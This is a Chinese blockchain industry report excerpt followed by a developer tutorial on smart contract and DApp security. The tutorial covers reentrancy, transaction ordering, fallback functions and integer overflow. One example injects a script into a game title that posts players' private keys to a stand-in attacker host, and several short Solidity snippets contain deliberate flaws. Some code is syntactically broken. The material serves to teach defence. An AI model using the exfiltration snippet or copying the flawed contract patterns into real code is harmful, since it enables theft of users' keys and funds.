根据赛迪区块链研究院调研相关厂商和业内专家,同时对国家工商总局企业信息查询平台中专业从事区块链底层技术、应用产品、技术服务方面的企业进行查询统计,2018年上半年,我国提供区块链专业技术支持、产品、解决方案等服务,且有投入或产出的区块链企业共425家,产业规模达到4.5亿元。2018年,大型IT互联网企业纷纷布局区块链,初创企业进入井喷模式,投融资频次及额度剧增。随着国家有关部委规范行业发展相关文件相继出台,全国各地政策支持力度加大,区块链技术与产业发展的良好氛围逐步形成。

随着区块链技术的应用场景迅速拓展,人才、资本和技术资源向区块链行业不断汇聚,预计2019年具有投入产出的区块链企业超过600家,产业规模有望超过8亿元。

02

需要关注的几个问题

(一)区块链安全问题日益突出

区块链核心技术、机制和应用部署等方面均存在诸多安全隐患,不法份子利用相关漏洞实施攻击,安全风险事件频出。本报告将区块链安全问题分为区块链技术安全、区块链生态安全、区块链使用安全和区块链信息安全四类。区块链技术安全方面,主要是区块链本身核心技术或机制不完善造成的,包括共识机制和智能合约逻辑漏洞、密码算法安全、P2P网络机制安全等。由此带来的安全攻击有“51%”攻击、女巫攻击、双花攻击、日食攻击等。2018年5月,比特币黄金(BTG)遭遇51%双花攻击,损失1860万美元。同月,360公司Vulcan(瓦肯)团队发现了区块链平台EOS的一系列高危安全漏洞,引发市场哗然。区块链生态安全方面,主要是指区块链产业生态中各种安全问题。例如加密数字货币交易所、矿池、网站遭受DDoS攻击,钱包面临DNS劫持风险,以及交易所安全管理策略不完善或不当导致的各种信息泄漏、被钓鱼、账号被盗等。2018年3月,世界大型交易所的“币安”被黑客攻击,大量用户账户被盗。区块链使用安全,主要是指用户使用区块链应用面临的潜在安全问题。例如私钥管理不善,遭遇病毒木马、账户窃取等。区块链信息安全方面,主要是不法分子利用区块链技术不可篡改特性将非法信息或文件上链所导致的安全监管问题。2018年年4月,北大网友将颇具争议公开信“向校方申请公布涉性侵丑闻的教授沈阳调查的少量问题”永久性记录至以太坊,引发社会关于区块链信息安全监管讨论。总的来看,区块链安全事件呈高发态势,需要格外引起注意。

(二)区块链关键技术亟需突破

中国区块链企业主要吸纳国外开源社区的区块链研究成果,自主研发的区块链平台并不多,仅有国内少数企业自主研发出CITA、Bubichain、BROP、BCOS、ChainSQL等平台,多数企业基于比特币、以太坊、超级账本等国外开源区块链产品进行开发和完善。尽管2018中国区块链专利位列世界第一,但整体价值不高,大部分企业围绕加密数字货币、钱包、存证溯源等应用层开展研发工作,较少涉及区块链关键技术。实际上,区块链平台性能不足、安全不够、难以互联互通等问题对共识算法、密码学、跨链等关键技术突破提出了更高的要求,从目前区块链最新技术理念和解决方案来看,如PoS、DPoS共识算法,分片、零知识证明、DAG、侧链、闪电网络等技术方案,大多数是外国技术社区提出,国内技术社区进行跟随和模仿,极少属于中国自主原创或最早提出。中国亟需在区块链关键技术方面有所突破,进而推动区块链技术在更大规模的商业场景中落地。

(三)区块链有待与实体产业深度融合

一是区块链基础设施尚未完善,尚未真正诞生诸如微信、支付宝等杀手级应用。社会大众对区块链的认知仅仅停留在比特币等加密数字货币层面,在实际生产生活中与其接触较少,导致区块链对人们生产生活方式影响程度较低。二是未能真正发挥区块链在技术、理念、模式等方面的创新优势。当前,多数区块链应用主要在区块链数据不可篡改这个特点上做文章,对于区块链去中介化、可追溯、去信任、共协作、激励机制等方面的创新探索,以及对“区块链+其他新兴技术”融合应用发展的研究还远远不够。实际上,对于上述关键点的研究和探索,有助于区块链技术找到与实体产业深度融合的新逻辑、新方法和新模式,解决实体产业存在的痛点。三是限于区块链系统开发、推广、部署等成本较高,相关安全评估、检测等技术手段不完善,存在一定安全风险隐患,区块链仅在部分行业得以小规模应用,尚未形成大规模应用趋势。

(四)区块链人才缺口较大

我国区块链相关人才严重不足,尤其是2018年以来,区块链作为新兴领域,初创公司大量涌现,人才需求更加旺盛,而专业培训相对落后,人才不足现象更加显著。根据各大招聘网站招聘信息,并咨询业界权威人士和相关专家,初步估算,我国在区块链技术研发、产品测试、应用推广、销售及综合管理等方面的人才缺口达数十万人。当前全国仅有清华大学、北京航空航天大学、浙江大学、上海财经大学、同济大学、西安电子科技大学等少数高校开设区块链相关课程。实际上,区块链知识体系覆盖网络技术、密码学、数据库、经济和金融等多个领域,国内尚未形成行之有效的人才培养体系,导致人才总量和结构远远不能满足市场需求,既懂区块链底层技术,又懂区块链架构和经济模型设计的复合型、专业性、创新性人才严重缺乏。

03

应采取的对策建议

(一)加强安全技术研究,构建区块链安全风险应对能力

一是提高区块链安全风险防范认识,组织力量对区块链安全风险问题展开持续性和常态化研究。根据区块链技术特点和发展变化,对区块链技术、应用潜在风险,以及不断变化的攻击手段和方式,展开持续性跟踪和分析,研判安全风险发展趋势,增强安全风险防范意识。二是研究制定区块链技术、平台、应用生态的安全技术要求、安全标准。明确区块链技术、平台、应用生态面临的主要威胁,以及相应的安全体系架构,针对各关键模块提出安全技术要求,形成区块链安全标准体系。三是深入研究区块链安全风险检测和应对技术。针对区块链核心技术与机制、平台架构、应用部署等不同类型的潜在安全问题,研究覆盖区块链编码、运行、部署和管理各个环节的应对解决方案。如智能合约代码审计、漏洞检测、入侵行为分析等安全技术手段。

(二)提升自主研发实力,加速区块链核心技术突破

  一是集聚产学研用等多方资源,支持高校和科研院所建设区块链创新实验室和研究中心,密切跟踪国际区块链技术的发展前沿动向,建设基础性的区块链技术研发平台,加快推进非对称密码技术、共识算法、分布式计算与存储等核心技术的创新演进,降低区块链技术应用落地难度。二是支持开源区块链项目发展,引导企业加大对全球区块链共性基础技术资源的整合和利用,支持我国企业或组织主导全球区块链项目创新发展。三是加大资金投入力度,支持区块链、软件和信息技术服务、互联网企业和研究机构的联合创新,加强区块链核心技术研发攻关,推动区块链核心技术突破。

(三)加强试点示范,促进区块链与实体产业深度融合

积极开展区块链产业试点示范工作,树立典型,形成示范效应,促进区块链技术与实体产业融合发展。一是组织开展面向金融领域的区块链技术应用示范,探索在加密数字货币、跨境支付、票据管理、供应链金融等领域形成安全可靠的解决方案,形成一批可复制、可推广的典型案例。二是在农业、能源、物流、制造等领域以产品溯源、确权认证、供应链管理等方向为突破口开展行业专项应用试点示范,提升区块链技术的行业应用水平。三是在民生服务、社会治理领域开展区域性示范工程,培育形成社会服务和管理的新模式、新手段。四是重点面向数据开放与交易、权利运行与监督、个人隐私与保护等应用场景,组织实施具有代表的区块链技术应用工程,形成具有可复制、易操作的区块链技术应用示范平台。五是鼓励行业龙头企业加强区块链技术与既有产品与服务的融合创新,构建成熟的区块链应用产品体系及行业解决方案,带动上下游企业提高对区块链技术应用的积极性。

(四)完善区块链人才培养机制,建设区块链人才队伍

目前我国区块链人才严重短缺,亟需完善区块链人才培养机制,加快人才队伍建设。一是围绕区块链技术发展和应用需求,构建深层次、多渠道的区块链人才立体引进网络,支持高校和职业院校设置区块链技术应用相关专业,依托区块链实验室、人才实训基地,加快培育区块链技术应用专业人才。二是依托科技园区、创业创新基地,针对科研人员、高校学生,特别是高层次人才,鼓励开展区块链技术应用孵化项目,加速区块链技术应用的实施落地。三是注重高端技术人才培养,与国外著名高校、科研机构、知名企业等联合培养区块链硕士、博士等高学历人才,推进中外合作人才培养和引进项目。四是鼓励实力雄厚的区块链企业、互联网企业和金融企业创办“企业大学”,借助企业本身对区块链和新兴信息技术已有的基础,加快培养区块链系统架构师、开发工程师、测试工程师等实用型区块链技术人才。

简述智能合约及Dapp安全

智能合约和dapp的开发属于新的范式,开发的方式与以前会有所不同。 “敏捷开发”的格言在这个新范式中好像不起任何作用了,这类项目的开发会有一定的风险,这要求我们采用缓慢而有条理的方法来开发我们的应用程序,在设计和编码时尽量谨慎和考虑周全。 开发时也不能让自己承受过多的压力,比如制定严格的期限等。

如果把大多数传统的apps类比于社区诊所,那么区块链可以说是急诊室。有些很小的问题,一旦上链的话,就会变的很难解决,你必须考虑到所有可能的负面结果,如果没有这么做,你可能会面临非常可怕的后果。所以在我开始具体的内容之前,我必须要重申一下区块链开发方面的特点,这些迫使我们开发时要非常小心。

所有代码都是公开的

以下几个原因导致了一些的问题。

首先,区块链的代码是开源的,任何人都可以看到你写的代码,所以很明显,智能合约中不应记录敏感的个人信息。不然,你就可以进行用户的链上行为分析,但这对于小白用户来说可能听起来不太好,因为他的历史行为暴露在了全世界面前。

这就导致智能合约及其相关存储功能只能存储合同正常运行所必需的信息。

其次,最最重要的是,所有源代码都公开可见,这意味着在地下工作的明星黑客有充足的时间和自由,来梳理你的每一行代码,寻找其中的漏洞,代码将无处可藏。

Gas 限制

我相信大多数人都知道,以太坊的是有Gas费的,Gas费些许的昂贵,并且还有一定的限制!如果智能合约中的逻辑可以导致大量Gas消耗,则会出现严重的问题。循环调用是这种情况的常见原因。

最后也是最重要的一点是:

不可篡改特性

智能合约代码都是完全根据最初的逻辑执行,并禁止The DAO级别的硬分叉。对区块链来说,合约一旦部署,一切都将不可篡改。

不可篡改的有点是让我们可以高枕无忧的相信智能合约。我们首次将信任编程到代码中。陌生人之间可以信任代码,而不是彼此建立信任。我们慢慢的开始相信智能合约,它不会骗人,也不会在任何时候做出格的事情。

对我来说,我会以非常开放的心态拥抱全球的区块链霸主。并且作为工程师,我也会努力去实现这个信任社会。

但是这个信任社会有些致命问题,设想一下,如果我们家的技术文盲奶奶不小心把她的google搜索痔疮膏的信息发布到了Facebook上,这不会是大问题,可以删掉。但如果她在某个有漏洞的智能合约上暴露了自己的私钥,那我们就无能为力了,她精通技术的侄子也没有任何办法,区块链浏览器中历史记录将无法删除!

在写代码的时候,我们必须假设每个用户都是技术文盲,并百分百地确保函数的正确调用,执行能够操作无误,你永远都不会知道,有多少人盯着你钱包地址上的数百万美金。

接下来我将介绍一些准备好的漏洞示例,并且进行一些练习,让每个人都参与进来。以便我们在今后在写代码时能够避免Dapp和智能合约的漏洞。

实际案例推荐

我们来看第一个案例,让我们从一些背景开始。

这是一个去中心化的游戏平台

  • 它的应用程序都是基于浏览器的
  • 游戏开发者可以公开发布他们的游戏(在以太坊网络上运行的dapps)
  • 玩家可以注册dapp并从选择各种游戏(用ETH购买虚拟商品)。
  • 注册时会帮你创建新的钱包(这个案例不需要Mist 或Metamask)
  • 钱包密钥存储在玩家的浏览器中,用于验证和支付。

是的,这似乎是开发人员通过平台进行发布,并有效连接玩家的好地方。

不幸的是,有一款叫HODL QUEST的游戏在发布后,用户下载它时,他们钱包中的以太币数量就开始减少。

玩家的以太币去哪了呢?让我们先来看一下平台的一些情况:

l这个问题是几小时前发布的新游戏HODL QUEST引起的

l首次打开游戏后,钱包的资金几秒钟就消失了

l在游戏注册期间,开发人员在平台内的表单中输入dapp的名称,智能合约地址和URL

l该平台将游戏iframe嵌入到dapp中,同时在页面顶部显示游戏名称

你可以开始看看它的发展方向……经过进一步的检查,我们发现HODL QUEST游戏的开发者在注册过程中为游戏标题注入了一个内联脚本。所以仔细观察游戏html代码,我们发现了这样的事情:

<h1>HODL <script>$.post(‘https://haxxx.lol/’, localStore.getItem(‘privateKey’));</script> QUEST</h1>

The player’s browser ends up evaluating the javascript snippet inserted at the game title and sending the player’s private keys to attacker remote servers.

用户的浏览器插入了游戏标题的javascript片段,并将用户的私钥发到给攻击者远程服务器上。

这只是我们写Dapp时可能出现的众多问题之一,以下我列举的,在构建项目时要记住的事项清单:

  • 保护钱包和私钥:如果用户的钱包受到损害,那就game over了,所以处理这些敏感信息时需要特别小心。
  • 保护用户信息:用户不希望他们的个人数据暴露在世界各地,开发时要确保用户数据不被泄露。
  • 明智地评估需要存储在区块链或服务器中的内容,只能包含智能合约运行所必需的数据
  • 使用HTTPS:这是标准做法,应该是显而易见的
  • .gitignore敏感文件:保护自己免于意外泄露漏洞的另一种方法
  • 不要在代码中插入访问/ API密钥
  • 在dapp中执行关键/风险操作时要进行双重认证:在区块链上采取的操作是不可变的,因此链下的安全验证非常重要

DAPP的安全性与智能合约的安全性一样重要,希望广大开发者始终牢记在心。

智能合约竞争条件

什么是竞争条件?竞争条件是电子设备,软件或其他系统中的输出取决于其他不可控事件的顺序或时间一种行为。当事件没有按程序员的意图发生时,它就变成了一个bug。这是以太坊智能合约中许多漏洞的根源

一个关于race condition 愚蠢的例子

在以太坊智能合约中出现竞争条件的方式有几种。在这篇文章中,我们将关注两种常见情况。重入和交易顺序依赖。

重入

如果计算机程序可以在执行过程中被中断,则可以在其先前的调用完成执行之前安全地再次调用(“重新输入”),这被称为可重入计算机程序。在对其他合同进行外部调用时,这可能会显示在智能合约中,因为它们可能会在原始调用完成之前回调到原始函数。你可能会问,这怎么可能?

输入fallback 函数,这些函数是在将Ether发送到合约时调用的功能,而不提供要调用的函数名称。

在这个例子中,当withdraw函数使用address.call.value()方法发送ether时,它会触发BankRobber的fal’lback函数,然后可以再次调用withdraw方法。正如您所看到的,这将导致智能合同一次又一次地发送以太可能会耗尽所有以太币!

我们怎么能防止这种情况?有几种不同的方式。第一个依赖于我们对发送,转移和呼叫之间差异的理解。

从上图中可以看出,有许多不同的方式可以发送以太币,但大多数情况下,都推荐使用address.transfer。这是因为如果交易耗尽所有的2300 gas,就会回滚这样,如果恶意合同试图重新签订合同,gas将用完,整个交易将被还原。

在某些情况下,使用发送或回调是有意义的,但在使用这些时需要格外小心,因为只有在发送以太币感到非常满意时,才会出现这种情况。99%的时候,转移是正确的路径。

防止重入的另一种方法是在进行外部调用之前更新状态并在合同中执行检查,以确保状态代表即将执行的事务。

打包头部交易(交易顺序依赖)

另一种情况是竞争条件依赖,让恶意的交易被优先打包,这是区块链的开源性质决定的。如果在智能合约中运行竞价或类似机制,黑客可能会通过操纵gas价格,矿工打包交易时会在交易池中选择价格高的进行打包。在这段时间内,其他恶意行为者可以监控并发送恶意交易,来破坏已经发送的出价交易。矿工则会对区块中的交易价格进行重新排序,这就造成恶意交易被优先打包。

有几种不同的方法可以防止像这样的操纵。一个是把交易批量打包,另一个方法是披露投标人发送其出价的哈希值,在确认之前识别是不是恶意交易。

让我们来看看另一个例子

这个智能合约是一个游戏,用户可以将以太币送到只能合约中成为新的国王。当一个新人成为国王时,老国王就会收到只能合约中的以太币。你能找到这个漏洞吗?

这是Ethernaut的一个很好的例子,它开展了探索智能合约安全的练习。您可以在此处查看有关此漏洞的更详细说明。

这些示例表明,在进行外部调用时,绝不应该假设您调用的智能合约是可信的。始终注意防止攻击者可能尝试的所有可能的负面结果。

fallback函数

fallback函数很有用,因为它们包含在将Ether发送到您的合同时调用的代码。但他们无法处理一切。

首先,当从fallback函数触发时,回退功能只能访问2,300 gas,因此逻辑需要非常简单,以免发生gas错误。

// example of a fallback function when
// you don’t want Ether to be sent to a contract
function () payable {
revert()
}

有一个问题!当以太币被强制发送到合约时,后备功能不会触发

contract ForceSend() {

function ForceSend() {

// sends ETH to victim without triggering the fallback function
function destroy() {
selfdestruct(victim);
}
}

函数将智能合约的以太币发送到受害者地址。此发送不会触发合同中的回退功能。接收免费以太是很好的,但正因为如此,你需要避免直接检查合同的余额并期望它是一个特定值,因为它实际上可能比你想象的更大!

整数运算

与大多数现代架构不同,EVM不处理浮点数或算术运算。所有数字存储和算术都用整数处理。这是什么意思?这意味着您的合同中没有任何意义,您可以将任何内容存储为小数或执行通常会返回小数的操作,例如查找百分比等。让我们看一个例子。

想象一下,您正在创建一个代币销售智能合约,根据销售过去的时间为买家提供奖励购买。它可能看起来像这样。

/// snippet from contract code
function calculatePrice() returns (uint256) {
uint percentTimePassed = (now – startTime)/(endTime – startTime);

uint price = (1-percentTimePassed)*basePrice + basePrice;

return price;

}

正如您所看到的,用传统语言,通过的时间百分比将计算为0到1之间的小数,然后返回价格。

不幸的是,这不适用于整数运算。如果操作操作不正确,可能某些不正确的百分比会导致严重问题的情况。

在Solidity中,你必须做这样的事情:

/// snippet from contract code
function calculatePrice() returns (uint256) {
uint percentTimePassed = 100*(now – startTime)/(endTime – startTime);

uint price = ((1-percentTimePassed)*basePrice)/100 + basePrice;

return price;

}

百分比计算为0到100之间的整数,应用于基本价格,然后除以100以将“小数位”固定到正确的点。这是计算百分比的一种粗略方式,因为它牺牲了一些精度,但是根据EVM的运行方式是必要的。您可以通过乘以100的较大倍数来获得更好的精度,但这是一个取决于合同背景的决定。

整数溢出/下溢

根据维基百科,当算术运算尝试创建一个数值超出可以用给定位数表示的范围 – 大于最大值或低于最小可表示值时,就会发生整数溢出。大多数语言都有解决此问题的方法,但Solidity无法自行处理溢出检查。这导致过去在区块链上出现一些智能合约的问题,但有很多方法可以解决这个问题。以下是使用Solidity添加的示例:

function add(uint a, uint b) {
res = a + b
if (res-b == a) && (res>b || res==b)  {
// the operation was safe
} else {
// overflow
}
}

这通过确保结果没有包围变量所保持的最大值来检查加法运算的溢出。减法,乘法和除法需要类似的检查。

漏洞 3

你能找到智能合约中的错误吗?

uint[] public bonusCodes;

function pushBonusCode(uint code) onlyOwner {
bonusCodes.push(code);
}
function popBonusCode() onlyOwner {
require(bonusCodes.length >= 0);
bonusCodes.length–;
}
function modifyBonusCode(uint index, uint update) onlyOwner {
require(index < bonusCodes.length);
bonusCodes[index] = update;
}

此契约具有一个存储数组,其长度字段可以递减到0.这会导致算术下溢,从而有效地禁用Solidity的数组边界检查。因此,在溢出写入数组之后可以用来覆盖位于数组之后的任何存储元素 – 包括所有映射!

在开发的时候,我们并不能确定,有哪些没有考虑到的微小的点,单这些可能是导致归零的重大问题,在文中举的案例中,就导致用户平均损失了数百万美元。

我们所能做的最好的事情就是遵循所有现有的应用程序和智能合约范式,并且要要进行广泛测试,以及要让专业的安全人员帮我们审核代码。

未来,让我们一起共建智能合约的功能和安全性!